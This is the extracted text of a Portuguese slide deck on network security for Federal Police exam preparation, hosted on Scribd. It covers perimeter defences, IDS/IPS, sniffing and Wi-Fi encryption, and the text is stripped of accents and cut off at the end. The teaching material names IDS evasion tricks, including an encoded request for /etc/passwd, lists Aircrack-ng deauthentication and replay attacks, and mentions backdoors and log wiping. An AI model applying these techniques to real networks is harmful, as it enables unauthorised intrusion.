Este documento resume os principais tópicos sobre segurança em redes de computadores para um curso preparatório para provas da Polícia Federal. Aborda conceitos como firewalls, VPNs, DMZ, IDS/IPS e outros elementos de perímetro de segurança. Também discute ameaças comuns como ataques de negação de serviço e intrusão, além de métodos para garantir a confidencialidade, integridade e disponibilidade de dados.
Este documento resume os principais tópicos sobre segurança em redes de computadores para um curso preparatório para provas da Polícia Federal. Aborda conceitos como firewalls, VPNs, DMZ, IDS/IPS e outros elementos de perímetro de segurança. Também discute ameaças comuns como ataques de negação de serviço e intrusão, além de métodos para garantir a confidencialidade, integridade e disponibilidade de dados.
Este documento resume os principais tópicos sobre segurança em redes de computadores para um curso preparatório para provas da Polícia Federal. Aborda conceitos como firewalls, VPNs, DMZ, IDS/IPS e outros elementos de perímetro de segurança. Também discute ameaças comuns como ataques de negação de serviço e intrusão, além de métodos para garantir a confidencialidade, integridade e disponibilidade de dados.
Este documento resume os principais tópicos sobre segurança em redes de computadores para um curso preparatório para provas da Polícia Federal. Aborda conceitos como firewalls, VPNs, DMZ, IDS/IPS e outros elementos de perímetro de segurança. Também discute ameaças comuns como ataques de negação de serviço e intrusão, além de métodos para garantir a confidencialidade, integridade e disponibilidade de dados.
Baixe no formato PDF, TXT ou leia online no Scribd
Fazer download em pdf ou txt
Você está na página 1de 180
Curso Multiplus
Preparatrio para prova da
Polcia Federal Segurana em redes de Computadores Prof. Marcelo Ribeiro mribeirobr (at) globo (dot) com www.mribeirobr.com Sumrio Abordaremos os seguintes tpicos do Edital 8 - Segurana de redes de computadores 8.1 Firewall, sistemas de deteo de intruso(IDS), antivrus, NAT, VPN 8.2 Monitoramento e anlise de trfego; Uso de Sniffers; Trafc Shaping 8.3 Trfego de servios e programas usados na internet 8.4 Segurana de redes sem o: EAP, WEP, WPA, WPA2 8.5 Ataques em redes de computadores Metodologia Apresentaremos conceitos e alguns exemplos prticos Tambem sero apresentadas questes de provas anteriores e questes de provas de certicaes de Ethical hacking Segurana em redes - Conceitos Princpios Bsicos Confidencialidade: Certeza que somente as pessoas autorizadas a acessar os dados podem acess-los Integridade: Certeza que os dados no foram alterados - por acidente ou intencionalmente Disponibilidade: Certeza que os dados esto acessveis quando e onde forem necessrios Irretratabilidade: Impossibilidade em negar ser origem de uma informao Segurana - Conceitos Bsicos Elementos Utilizados para Garantir a Confidencialidade Criptografia dos dados Controle de acesso Elementos para garantir a Integridade Assinatura digital MD5- hash Elementos para garantir a Disponibilidade Backup Tolerncia a falhas Redundncia Elementos para garantir a Irretratabilidade Assinatura digital Segurana em redes Permetro Fronteira fortificada da sua rede de dados Deve incluir alguns elementos de proteo Elementos de um Permetro Firewall VPN Zona Desmilitarizada (DMZ) Host Hardening Intrusion Detection System (IDS) Intrusion Prevention System (IPS) Network Address Translation (NAT) Analisadores de Contedo Analisadores de Logs Security Information and Event Management (SIEM) Elementos de um permetro Dispositivo (hardware + software) que possui regras especcas que permitem ou bloqueiam o trco Barreiras de segurana entre a intranet e a Internet para proteger a rede interna contra acessos no autorizados Mensagens que entram ou saem da rede devem ser examinadas pelo rewall, que toma aes de acordo com critrios de segurana especicados Elementos de um permetro Tipos: Esttico: Filtro de pacotes Stateful: memoriza as conexes para uma melhor anlise Proxy de Aplicao Elementos de um permetro Firewall tipo ltro de pacotes Servidor Web HTTP Outros Protocolos Cliente Elementos de um permetro Firewall tipo ltro de pacotes LAN LAN LAN Internet Firewall Endereo/Servio Autorizado Endereo/Servio no Autorizado Elementos de um permetro Exemplo de regra de rewall ltro de pacotes access-list 102 permit tcp 192.168.100.200 0.0.0.0 eq 25 Essa regra, de nmero 102, permite o IP 192.168.100.200 sair para qualquer endereo (0.0.0.0) na porta 25/TCP (SMTP). Elementos de um permetro Filtro de pacotes - Vantagens Fcil de implementar Praticamente qualquer ativo de rede permite a criao de um Filtro de pacote - Desvantagens Facilmente burlvel atravs de tcnicas de IP Spoong Atua apenas na camada 3 do modelo OSI Elementos de um permetro O ataque de IP Spoong consiste em enganar o Firewall, mudando a origem do pacote, para uma origem conhecida pelo Firewall e autorizada por ele. Normalmente usa-se os ednereos da rede interna (os quais, normalmente, so conveis para o Firewall) O Anti-Spoong um conjunto de regras que impede que pacotes com endereo das redes internas venham de interfaces externas. Elementos de um permetro Proxy de aplicao O que ? Procurador Atua no nvel da aplicao- orientado a aplicao Geralmente, o cliente precisa ser modificado- no transparente Funciona como acelerador - cache Proxy Cache Web Server Elementos de um permetro Proxy de Aplicao Por que usar? Autenticao de usurio Inspeo de Contedo Cache Registro de Acessos Esconde detalhes da rede interna Proxy Cache Web Server Elementos de um permetro Proxy de aplicao Proxy Web Server 1 3 6 2 5 4 Verifica User autorizado? Protocolo permitido? Destino autorizado? Elementos de um permetro Proxy de aplicao Internet LAN2 Matriz LAN1 1 3 5 6 2 4 Elementos de um permetro Proxy reverso 3 Web Server DNS Server Proxy R 5 4 2 6 1 Verifica Request permitido? Protocolo permitido? Destino permitido? Elementos de um permetro Firewall Statefull Inspection Tambem conhecido como Filtro de pacotes dinmico Consegue atuar nas 7 camadas do modelo OSI pois consegue reconhecer cada protocolo (no apenas abre as portas, mas entende o protocolo em si), podendo interpretar um ataque sobre o protocolo. Elementos de um permetro Firewall Statefull inspection Vantagens O mais seguro atualmente por conseguir reconhecer ataques semnticos Desvantagens Mais complexo de implementar e administrar Necessita estar sempre atualizado para manter seu nvel de segurana. Elementos de um permetro VPN - Virtual Private Network Esta tcnica consiste em encapsular um pacote, no cifrado, em um outro que est cifrado por uma chave de sesso. O outro parceiro da comunicao ser capaz em remover o pacote original do encapsulamento e estabelecer a comunicao com o pacote restaurado. Elementos de um permetro Internet Usurio remoto ISDN Cable DSL Site central Server Site Remoto Site Remoto Elementos de um permetro Classicao de VPN Por tipo Remote access Site-to-Site Por tecnologia IPSEC SSL Elementos de um permetro DMZ - Demilitarized Zone Rede separada, na qual so hospedados servidores ou servios a serem disponibilizados externamente. Objetiva separar os servios externos da rede interna da empresa ou mesmo separar servios mais crticos/ vulnerveis de redes mais sensveis. Elementos de um permetro Internet Servidor Web Firewall Cliente Intranet Elementos de um permetro Router B Parceiro1 Parceiro2 Parceiro3 Internet INTRANET LAN1 LAN2 LAN3 LAN4 LAN5 FILIAL VPN DMZ WEB Server DNS Server Mail Server Proxy R. Hardened Server Firewall Firewall/ Proxy Elementos de um permetro Sistemas de deteo de intruso (IDS - Intrusion Detection System) Utilizado para detectar e alertar eventos maliciosos Antecipar possveis invases aos sistemas O sistema de defesa dever dispor de vrios agentes IDS pela rede Normalmente verica assinaturas pr-denidas e eventos maliciosos Podem ser de rede (NIDS) ou de host (HIDS) Elementos de um permetro Elementos de um Permetro HIDS Esse tipo de IDS reside em um nico host e monitora atividades especcas do mesmo Pode ser baseado em assinaturas Verica a integridade dos arquivos do SO Monitora utilizao de recursos do host Elementos de um permetro HIDS - O que ele monitora? Exemplos de componentes monitorados Memria Arquivos executveis Espao em disco Kernel Elementos de um permetro NIDS Monitora todo o trfego da rede e compara este a um banco de dados com assinaturas de ataque Quando uma assinatura detectada um evento disparado pelo IDS Sistema utilizado para detectar e/ou reagir a uma assinatura de ataque na rede Utilizado para analisar o trfego de rede em tempo real Equipamento dedicado com processamento compatvel com o tamanho da infra-estrutura Elementos de um permetro NIDS Sensor de Rede Posicionamento em funo do conhecimento da topologia Em ambientes com switch - Espelhamento de porta Configurao stealth recomendada - Interface de captura sem endereamento e capturando trfego de rede em modo promscuo
Elementos de um permetro Sistema de preveno de intruso - IPS (Intrusion Prevention System) Funciona de forma anloga ao IDS, mas alm de alertar sobre os ataques ele capaz em bloquear os mesmos, atravs de interaes com outros dispositivos na rede (Firewalls, roteadores, switches, dentre outros) Pode ser usado em modo Learning, no qual atuar como um IDS Elementos de um permetro Principais problemas dos IPS/IDS Dependem fortemente das assinaturas de ataques estarem atualizadas (semelhante aos anti-vrus) Se houver um ataque dentro de uma VPN ou contra um servidor WEB com SSL habilitado ele ser incapaz em detectar o ataque, face a criptograa * Complexos de implementar * A menos que seja um IPS recente, no qual possvel instalar as chaves de sesso de criptograa no mesmo, possibilitando a leitura do trafego anteriormente cifrado e sua anlise. Elemento de um permetro Terminologia comum com IDS/IPS Falso Positivo - A deteco de uma atividade normal, mas interpretada como uma atividade maliciosa. Ocorre normalmente pela congurao no ajustada do dispositivo de deteco. Pode ser atribuida a uma congurao segura demais ou ao comportamento pouco convencional de alguns protocolos Falso Negativo - A interpretao de um evento malicioso como sendo uma atividade normal, no gerando nenhum tipo de aviso ao administrador do sistema. Normalmente ocorre com um dispositivo congurado para ser permissivo (por falha de congurao ou para permitir determinada aplicao funcionar) Elementos de um permetro Funcionamento de um IDS Tecnologia complementar ao rewall Realiza inspeo profunda em pacotes de rede (DPI) Tecnologia Reativa detection (ataque pode ser simples pacote) Elementos de um permetro O que IDS procuram? Tentativa de Intruso Denial of Service Atividade Suspeita Anomalia em Protocolos Anomalia Estatistica Elementos de um permetro Modelos Baseado em assinaturas Baseado em deteco de anomalias Estratgias de monitoramento Tipos Network Based Host Based Elementos de um permetro IDS baseado em assinaturas - funcionamento Anlise por Pacote - procura assinaturas de ataque individualmente, em cada pacote. No detecta ACK scans lentos. No consegue vericar a relao entre pacotes associados. Ex. Shadow, RealSecure. Statefull - Adiciona a capacidade de procurar por assinaturas na sesso. Entende fragmentao de pacotes e Identica ataques em mltiplos pacotes, pois verica o estado das comunicaes e a remontagem dos pacotes. Ex. Loki (icmp e UDP53) Covert comunication Channel. Ex. Network Flight Recorder, DragonIDS. Snort e CSIDS (estticos com caract. Statefull). Protocol Decode-Based - vericao feita no nvel da aplicao. Ex. HTTP e SMTP. Utilizados para prevenco de ataques a aplicaes especcas. Heuristic Analysis-Based - processo de analisar o trfego de forma estatstica. Caracteriza o trfego. Quantas portas esto sendo abertas por um nico host, por minuto? Quantos sistemas esto conectados a um nico host? Quantas conexes por segundo esto sendo utlizadas? Mtodo utilizado para detectar port scan. Elementos de um permetro IDS baseados em assinaturas: Vantagens e desvantagens Vantagens Baixa rate de alarmes falsos, comparado com outros tipos de IDS. Regras padronizadas e de fcil entendimento. As regras do IDS snort so simples e de fcil entendimento. Podem ser editadas e at mesmo criadas a partir do conhecimento do modus operandi de um exploit. Desvantagens Uso intenso de recursos pois pode vericar os pacotes nas camadas mais altas. O custo da abertura integral dos pacotes da rede pode ser bastante intenso, em termos de processamento e uso de memria. A base de dados de assinaturas de ataques necessita de manuteno e updates contnuos, tendo em vista que novos ataques surgem a cada dia. Caso as atualizaes no sejam efetuadas o sensor no ir alertar para um novo ataque. Esses ataques no sero detectados at que suas assinaturas sejam atualizadas ou criadas manualmente no IDS. Elementos de um permetro IDS baseado em anomalia Aprende a rede Fronteira entre normal e anormal tenue Elementos de um permetro IDS baseado em anomalia Vantagens Dinamicamente adaptvel a novos ataques, pois aprende a conhecer o comportamento da rede e alerta para qualquer nova atividade. Simples de se implementar. No h muito o que congurar, bastando coloc-lo para aprender e depois torn-lo funcional. Desvantagens Alta rate de alarmes falsos. Nem tudo aprendido pelo IDS. Novas situaes ocorrem a cada momento. Atividade dos usurios e comportamento do sistema pode no ser esttico o suciente para ser implementado de forma efetiva. Conguraes em uma rede local mudam o tempo todo. Elementos de um permetro Estratgias de monitoramento Host - Fonte de dados: interna ao sistema. Geralmente logs do sistema (Ex.Windows event logs e Linux Syslog. Restrito a eventos do sistema operacional. Pode monitorar system calls, memria, processos etc. Ex. Cisco Security Agent. Monitoramento de Rede - Fonte de dados: pacotes de rede. Dispositivos de rede em modo promscuo. Esse tipo pode ser afetado pela arquitetura da rede. Ex. redes com switches necessitam de algumas adaptaes. Alm disso, no restrito a trfego destinado a um nico host Ex. Cisco IDS, Snort, Shadow. Monitoramento de Aplicacao - Fonte de dados: aplicao em uso: logs de eventos da aplicao. Possiveis aplicaes: Web servers - IIS, Apache etc. Mail servers Sendmail, Exchange etc. Ex. Cisco Security Agent e ISS RealSecure analisa logs, verica assinaturas e entende aplicaes Web IIS e Apache. Monitoramento de alvo - focado em um sistema. Monitora o estado de um objeto e utiliza criptograa funes de hash. Detecta alteraes no sistema, mas no envia alertas em tempo real. Ex. Alteraes nos arquivos cmd.exe, /sbin/ps, ls etc. Ex. Tripwire e Advance Intrusion Detection Engine (AIDE). Elementos de um permetro IDS/IPS - Tcnicas de evaso Method Matching URL Encoding Duble Slashes Self-Reference Directories Flooding de alertas Fragmentao Elementos de um permetro Method Matching Substituio GET /cgi-bin/example.cgi HTTP/1.0 por HEAD /cgi-bin/example.cgi HTTP/1.0 URL Encoding http permite URL utilizando notao %xx, onde xx o valor hex do caracter cgi-bin = %63%67%69%2d%62%69%6e get /%63%67%69%2d%62%69%6e/exemple.cgi HTTP/1.0 Double Slashes Substitui / por // Self-Reference Directories Adiciona /./ na URL para confundir o sensor Elementos de um permetro Tcnicas de evaso (cont.) Flooding de alertas Atacante utiliza ferramentas para confundir o sensor inundando o mesmo com pacotes que simulam assinaturas de ataque. Sensor perde pacotes (ooding) ou o ADM ca confuso com tantos alertas (o ataque no visualizado). Ferramentas: Stick e Snot - IDS Killers, baseados nas assinaturas do snort. Nmap D decoy. Elementos de um permetro Tcnicas de evaso (cont.) Fragmentao Utilizada em todas as fases do ataque Remontagem no destino confunde o sensor Tipos de fragmentao get ./etc/passwd Elementos de um permetro Fragmentao (cont.) Diferentes S.O remontam fragmentos de forma diferente. No existe padronizao para a remontagem. O sensor, no necessariamente sabe o mtodo de remontagem que ser utilizado (ca confuso). Snort com frag2 sempre remonta como Linux. Snort com frag3 tem mltiplos buffers de remontagem. CSIDS tem setagem para escolher manualmente s pode remontar de uma forma e com isso s identica ataques fragmentados em um nico Sistema Operacional. Ferramentas de attaque para fragmentao Nmap tiny fragment attack. Fragrouter. FragRoute. Elementos de um permetro NAT - Network Address Translation Tcnica utilizada por um dispositivo para a traduo de endereos IP Permite que uma rede use um conjunto de endereos IP particulares para trfego interno Converte os endereos IP particulares em endereos IP pblicos Aumenta a segurana ocultando endereos IP Internos Permite que uma organizao economize endereos IP pblicos Pode ser classicado em: Esttico (ou 1 para 1) - Onde um endereo pblico traduzido para um interno Dinmico (ou 1 para muitos) - Onde um endereo pblico pode ser traduzido para vrios internos. O controle disso se d atravs de uma tabela, no dispositivo que controla o NAT, associando cada conexo a um Source Port) Elementos de um permetro 131.107.0.9 131.107.0.9 10.10.10.7 Tabela NAT 10.10.10.0 mapeia para 131.107.0.9 10.10.10.6 10.10.10.10 Elementos de um permetro Anti-vrus Software, comumente instalado nos hosts da rede, que tem como funo buscar uma ameaa (malware) em um arquivo no computador. Esta anlise se d atravs de comparao com um banco de assinaturas de malwares disponibilizada pelo fabricante Pode usar uma anlise herstica, que possibilita a deteco de malwares no conhecidos pelo fabricante, assim como tambm pode gerar grande nmero de falsos positivos. Elementos de um permetro Anti-vrus (cont.) O que acontece se criarmos um arquivo texto em um computador com anti-vrus e digitamos as linhas abaixo? X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD- ANTIVIRUS-TEST-FILE!$H+H* Monitoramento e anlise de trfego A tarefa de anlise de trfego de rede executada, comumente, com o uso de uma ferramenta chamada Sniffer. Esta ferramenta funciona lendo o trfego de rede que chega at a interface de rede do computador utilizado para a anlise Em face do Sniffer apenas poder anlisar o trfego que passa pela sua interface de rede faz-se necessrio que TODO o trfego da rede chege a interface. Conseguimos isso colocando a interface de rede no chamado modo promscuo Monitoramento e anlise de trfego Modo promscuo Faz com que a placa da rede responda a todos os pacotes que circulam pela rede, independente se estes foram destinados aquela interface ou no Consegue-se esse efeito respondendo a todos os pacotes de broadcast que circulam na rede, dando a impresso que todos os pacotes so para aquele host. Monitoramento e anlise de trfego Sniffer Contudo os pacotes ainda precisam ser acessveis pela porta Em uma rede com Hubs isso faz parte do modo de funcionamento normal da rede, pois TODAS AS PORTAS RECEBEM TODOS OS PACOTES (tambm chamado de Passive Snifng) Em uma rede com switches isso no acontece, pois O SWITCH REDIRECIONA O PACOTE PARA A PORTA CORRETA, EM CONFORMIDADE COM O SRC ADDRESS DO PACOTE Como usar Sniffers em redes com switches? Monitoramento e anlise de trfego Sniffer (cont.) Switch Monitor port (Ou SPAN port) Porta especial, congurvel em um switch gerencivel, que recebe uma cpia de cada pacote que circula naquele switch, independente de ser a porta correta para aquele pacote Serve apenas para monitoramento de rede. Tambm chamado de Active Snifng Em equipamentos da Cisco a porta de monitoramento chama-se SPAN (Switched Port Analyser) Vale salientar que esta diculdade sobre a porta vale tambm para dispositivos como IDS e IPS pois, em essncia, funcionam de forma anloga a um Sniffer. Monitoramento e anlise de trfego Protocolos interessantes para se monitorar com um sniffer Telnet e RLOGIN - Transmitem usurio e senha em claro na rede HTTP - Todo o trfego segue em claro SMTP, NNTP, POP, FTP, IMAP - Senhas e dados seguem em claro Monitoramento e anlise de trfego Ferramenta: Wireshark Popular sniffer, open source, sendo praticamente ferramenta padro deste tipo. Monitoramento e anlise de trfego Monitoramento e anlise de trfego O que um sniffer no pode ver em uma rede? Trfego criptografado Trfego que no passe pela sua interface (a menos que seja feito um ataque para desviar a rota) Monitoramento e anlise de trfego TCP Dump Ferramenta para debugging de rede, na qual diversas outras so baseadas (o IDS Snort, por exemplo) Usa a biblioteca Libpcap, tambm usada pelo Wireshark No to amigvel quanto o Wireshark, mas mais prtico em algumas situaes Monitoramento e anlise de trfego TCP Dump Monitoramento e anlise de trfego Exemplos prticos com o Wireshark Monitoramento e anlise de trfego Trafc Shapping Tcnica que prioriza trfego, de acordo com algumas polticas e regras, para otimizar o uso de largura de banda disponvel no link Muito utilizado como tcnica de QoS (quality of service) Pode priorizar usando as seguintes polticas Por tipo de servio Por rede Por peso de protocolo e conexo (WRR - Weighted round robin) Muito utilizado em provedores de internet para controle de protocolos que reconhecidamente cogestionam uma rede (P2P por exemplo) Segurana em redes sem o Redes sem o (Wireless) esto cada vez mais presentes em nosso dia a dia, mas face a simplicidade em se colocar uma delas em funcionamento comumente esto inseguras. muito comum encontrar redes sem o, sem senha, at mesmo no centro do RJ Segurana em redes sem o Segurana em redes sem o Segurana em redes sem o Padres Banda de at 54 Mbps e atua na faixa de frequencia de 5 Ghz Banda de at 11 Mbps e atua na faixa de frequencia de 2,4 Ghz Banda de at 54 Mbps e atua na faixa de frequencia de 2,4 Ghz Um padro para WLAN que prove melhor criptograa para redes 802.11a,b e g Novo padro 802.11 que suporta banda de 100Mbps + Grupo de padres para Wireless MAN (Metropolitan Area Networks) Suporta transferencias a baixa velocidade (1-3 mbps) e baixo alcance (10 metros), desenvolvido para dispositivos mveis Segurana em redes sem o Service Set Identier (SSID) um token para idencar uma rede 802.11. parte do cabealho dos pacotes 802.11 Funciona como um identicador nico compartilhado entre o AP e os clientes Se alterado no AP precisa ser mudado em TODOS os clientes Clientes podem se conectar a um SSID none ou any, que uma congurao no segura. Segurana em redes sem o Modo de autenticao Open Authentication Process Segurana em redes sem o Modo de autenticao com Shared Key Segurana em redes sem o Importante lembrar que uma rede sem o funciona como um HUB. Todos os AP de uma rede recebem todos os pacotes da rede Mesmo os AP que no fazem parte da rede ainda podem receber os pacotes, pois os mesmo trafgam over the air, sem controle Caso a rede possua uma senha estes pacotes estaro criptografados. Dependendo do algortmo de criptograa as informaes podero ser acessadas em 10 minutos ou alguns anos... Segurana em redes sem o EAP - Extensible Authentication Protocol Padro IEEE (RFC 5247) Permite multiplos meios de autenticao, como certicados, tokens, kerberos ... LEAP - Lightweight EAP - Verso proprietria da Cisco deste protocolo Segurana em redes sem o WEP (Wired Equivalency Protocol) Padro original de criptograa para redes sem o Facilmente quebrvel (no segura) Utiliza vetores de inicializao (IV) de 24-bits, que compem uma cifra RC-4 para condecialidade das comunicaes. Cada IV no WEP possui 24 bits, facilitando o processo de quebra Segurana em redes sem o WEP (cont.) Usa CRC32 para integridade, que insuciente para garantir a integridade criptogrca do pacote. Como cada IV tem 24 bits seria possvel prever todos os IV em um AP, transmitindo pacotes de 1500 bytes a 11 Mb/s em 5 horas Com um grande nmero de IV coletados possvel descobrir a chave secreta da rede Por ser baseado em senhas pode ser alvo de ataques de dicionrio Mensagens de associao e disassociao de um host na rede no so autenticados, permitindo que derrubemos algum da rede mesmo sem estar na rede Segurana em redes sem o WPA (Wi- protected Access) Evoluo do WEP, que resolve alguns dos problemas mais crticos deste. IVs de 48 bits ao invs de 24 bits Uso mais raro de chaves compartilhadas e implementao de chaves temporrias para cifragem de pacotes (protoco TKIP - Temporal Key Integrity Protocol) possvel injetar pacotes na rede para causar um Denial Of Service (DoS) Suceptvel a ataques de dicionrio Segurana em redes sem o Wi- Protected Access 2 (WPA2) Atualmente o mais seguro dos mecanismos de criptograa e autenticao para redes sem o Basicamente suceptvel apenas a ataques de dicionrio, que podem ser demorar muito tempo para completar Segurana em redes sem o Segurana em redes sem o Ataques ao controle de acesso War Driving Rogue Access Points Mac Spoong Associaes AD Hoc AP mal congurados Clients mal congurados Associao no-autorizada Promiscuous client Segurana em redes sem o Ataques integridade Injeo de quadro de dados WEP Injection Data Replay Initialization Vector Replay Attacks Segurana em redes sem o Ataques condencialidade Honeypot Access Point Trafc Analysis Evil Twin AP Man-in-the-middle (MITM) Quebra de chave WEP Segurana em redes sem o Ataques disponibilidade Roubo de AP DoS Beacon Flood Autenticate Flood Disassociation Flood De-Authenticate Flood Segurana em redes sem o Rogue access point attack Segurana em redes sem o Client Mis-association Segurana em redes sem o Unauthorized Association Segurana em redes sem o Honeyspot Access Point Attack Segurana em redes sem o Segurana em redes sem o Denial of Service attack Segurana em redes sem o Entendendo um pacote 802.11 Segurana em redes sem o Pacote 802.11 Protocol Version - Indica a verso do do protocolo 802.11 usado. Valor atualmente 0 Type e SubType - Determina a funo do frame, podendo ser : Control - Valor 1 Dados - Valor 2 Gerenciamento - Valor 0 To DS e From DS - Indica se o frame est vindo ou indo para o DS (Distribution System ou, na terminologia de rede sem o, rede cabeada (Ethernet)) More fragments - Indica se h mais fragmentos nos frams que seguiro este Retry - Indica se o frame est sendo retransmitido Segurana em redes sem o Pacote 802.11 (cont.) Power Management - Indica se o STA est em modo ativo (valor 0) ou em power-save (valor 1) More Data - Indica para o STA, em power save mode, que o AP tem mais quadros para enviar. WEP - Indica se h, ou no, criptograa no quadro analisado Order - Indica ser o pacote est sendo enviado usando uma classe de servio estritamente ordenada. No utilizada atualmente. Segurana em redes sem o Pacote 802.11 (cont.) Sequence Control Sequence number (12 bits) - Indica a o nmero de sequencia de cada quadro. Varia de 0-4095 Fragment Number (4 bits) - Indica o nmero de cada fragmento de um quadro enviado. Segurana em redes sem o Pacote 802.11 (Cont.) Data Pode ter at 2324 bytes de dados. O MSDU (Mac Service Data Unit) no padro IEEE 802.11 2304 Bytes. H algum overhead quando usa-se criptograa: WEP: 8 bytes -> 2312 Bytes total TKIP (WPA1): 20 Bytes -> 2324 Bytes total CCMP(WPA2): 16 Bytes -> 2320 Bytes total Segurana em redes sem o Atacando uma rede sem o Primeiramente necessrio ter uma placa de rede com um driver que permita a placa entrar no chamado modo promscuo, semelhante ao que acontece com o uso de sniffers em redes cabeadas Contudo nem todas as placas possuem um driver com esta funo, pois no comum o fabricante da placa de rede bloquear esta funo em seus drivers originais Contudo possvel encontrar uma uma relao de placas com drivers que suportam o modo promscuo no link http://www.aircrack-ng.org/doku.php? id=compatibility_drivers#which_is_the_best_card_to_buy Segurana em redes sem o Para fazer os ataques existe um framework conhecido chamado Aircrack-NG Este software est instalado, por padro, na distribuio Linux para testes de invaso Backtrack e Kali Linux Existem verses para Windows, mas mais comumente usada em Linux Segurana em redes sem o Ferramentas do Aircrack-NG Airmon-ng Utilizado para habilitar o modo monitor(promscuo) nas interfaces de rede sem o Sintaxe: airmon-ng <start|stop> interface [channel] Segurana em redes sem o Ferramentas do Aircrack-NG (cont.) Airdump-NG Ferramenta utilizada para capturar dados brutos 802.11 e, particularmente, coletar IVs WEP para uso posterior com o Aircrack-NG Se houver um receptor de GPS plugado e compatvel o Airdump-NG poder mostrar as coordenadas geogrcas dos AP ou clientes encontrados Segurana em redes sem o Ferramentas Aircrack-NG (cont.) Exemplo de sada do Airdump-NG CH 9 ][ Elapsed: 1 min ][ 2007-04-26 17:41 ][ WPA handshake: 00:14:6C:7E:40:80 BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 00:09:5B:1C:AA:1D 11 16 10 0 0 11 54. OPN NETGEAR 00:14:6C:7A:41:81 34 100 57 14 1 9 11 WEP WEP bigbear 00:14:6C:7E:40:80 32 100 752 73 2 9 54 WPA TKIP PSK teddy BSSID STATION PWR Lost Packets Probes 00:14:6C:7A:41:81 00:0F:B5:32:31:31 51 2 14 (not associated) 00:14:A4:3F:8D:13 19 0 4 mossy 00:14:6C:7A:41:81 00:0C:41:52:D1:D1 -1 0 5 00:14:6C:7E:40:80 00:0F:B5:FD:FB:C2 35 0 99 teddy Segurana em redes sem o Ferramentas do Aircrack-NG (cont.) Airdump-NG Informaes importantes BSSID - Endereo MAC do AP PWR - Nvel de sinal reportado pela placa de rede. Quanto mais alto, mais prximo do AP ou da estao. Se o BSSID PWR -1 ento o driver no suporta report de nvel de sinal. Se PWR -1 para um nmero restrito de estaes ento este pacote veio do AP mas est indo para uma estao que est fora do alcance de nossa placa de rede. Se todos os clientes tiverem PWR -1 ento o driver no suporta report de nvel de sinal. Segurana em redes sem o Ferramentas do Aircrack-NG (cont.) Airdump-NG Informaes importantes RXQ - Qualidade de recepo, que medido pela porcentagem de pacotes (de gerenciamento e dados) que foram recebidos com sucesso nos ltimos 10 segundos BEACONS - Nmero de pacotes de anncios enviados pelo AP. Cada AP envia em torno de 10 beacons por segundo. #Data - Nmero de pacotes de dados capturados (se WEP, aponta o nmero de IV no repetidos), incluindo pacotes de broadcast #/s - Nmero de pacotes de dados por segundo, medidos nos ltimos 10 segundos. CH - Nmero do canal (obtido dos pacotes de anncio) Segurana em redes sem o Ferramentas do Aircrack-NG (cont.) Airdump-NG Informaes importantes MB - Velocidade mxima suportada pelo AP. Se MB=11 ento 802.11b, se MB = 22 ento 802.11b +. E taxas mais altas de 802.11g ENC - Algoritimo de criptograa em uso. OPN= Sem criptograa. WEP?= WEP ou superior (indenido), WEP=WEP, WPA=WPA, WPA2=WPA2 CIPHER - Cifra detectada (CCMP, WRAP, TKIP, WEP, WEP40 ou WEP104) AUTH - Tipo de autenticao (MGT=servidor de autenticao externo, SKA=Chave compartilhada para WEP, PSK=Chave compartilhada para WPA/WPA2 ou OPN=Aberta para WEP) Segurana em redes sem o Ferramentas do Aircrack-NG (cont.) Airdump-NG Informaes importantes ESSID - Mostra o SSID. Se vazio o Airdump-NG tentar obter esta informao dos pacotes capturados STATION - Endereo MAC das estaes detectadas LOST -Nmero dos pacotes perdidos nos ltimos 10 segundos, baseado no nmero de sequencia. PACKETS - Nmero de pacotes de dados enviados pelo cliente PROBES - O SSID procurado pelo cliente Segurana em redes sem o Ferramentas do Aircrack-NG Aireplay-NG Usado para gerar ou acelerar o trfego para uso posterior com o Aircrack-NG Suporta diversos tipos de ataques Segurana em redes sem o Ferramentas do Aircrack-NG Aireplay-NG - Ataques suportados Ataque 0 - Deauthentication Ataque 1 - Fake authentication Ataque 2 - Interactive packet replay Ataque 3 - ARP request replay attack Ataque 4 - KoreK chopchop attack Ataque 5 - Fragmentation attack Ataque 9 - Injection test Segurana em redes sem o Ferramentas do Aircrack-NG Aireplay-NG - Ataques De-athentication attack Ataque nmero 0 do Aireplay Fora um cliente especco (ou todos, se no informarmos o MAC de um cliente) a se desconectar de uma rede sem o e fazer nova autenticao. Segurana em redes sem o Ferramentas do Aircrack-NG Aireplay-NG - Ataques Fake Authentication Permite que vc faa dois tipos de autenticao WEP (Open system e chave compartilhada) e faa uma associao a um AP. Este ataque til quando no h clientes associados a rede. Segurana em redes sem o Ferramentas do Aircrack-NG Aireplay-NG - Ataques Interactive Packet Replay Permite que um pacote seja re-inserido na rede (replayed), podendo gerar efeitos vantajosos ao atacante (como o aumento de vetores de inicializao) Segurana em redes sem o Ferramentas do Aircrack-NG Aireplay-NG - Ataques ARP Request Replay Semelhante ao Packet Replay, mas focado em ARP request. Tambm possui foco em aumentar a gerao de initialization vectors Segurana em redes sem o Ferramentas do Aircrack-NG Aireplay-NG - Ataques Korek ChoChop Attack Permite decifrar dados de uma rede WEP sem conhecer a chave No d acesso a chave em si Alguns AP no so vulnerveis ao ataque Segurana em redes sem o Ferramentas do Aircrack-NG Aireplay-NG - Ataques Fragmentation Attack Utilizado para obter o PRGA (Pseudo Random Generation Algorithm) dos pacotes PRGA pode ser usado pelo packetforge-NG para gerar pacotes forjados dentro de uma rede sem o Segurana em redes sem o Ferramentas do Aircrack-NG Aircrack-NG Ferramenta para quebra de chaves WEP e WPA/PSK Ataques em redes de computadores Metodologia de ataque Todo ataque dividido em fases e estas no possuem um prazo exato para terminar. Podem durar alguns meses at anos, dependendo do alvo. As fases so Reconhecimento, Obtendo acesso, mantendo acesso e limpando os traos. Ataques em redes de computadores Obtendo acesso Nesta fase so exploradas as vulnerabilidades e fraquezas encontradas na fase anterior, visando obter acesso ao alvo Uso de exploits contra servidores vulnerveis, uso de informaes encontradas no google para invadir um servidor Web, engenharia social contra alvos pr- selecionados, dentre outras atividades. Ataques em redes de computadores Mantendo acesso Aps obter acesso desejamos manter este acesso, em caso do administrador descobrir a vulnerabilidade e remover esta. Nesta fase so instalados backdoors, rootkits e qualquer cdigo que permita um acesso posterior. Ataques em redes de computadores Limpando os traos Nesta fase elimina-se, dentro do possvel, os traos da presena do hacker no sistema invadido. Logs comumente so apagados, cdigos inseridos so ocultados, dentre outras tarefas. Ataques em redes de computadores Atividades Google Hacking Tcnica que utiliza o Google para localizar servidores WEB vulnerveis ou at mesmo com backdoors ativos Muito 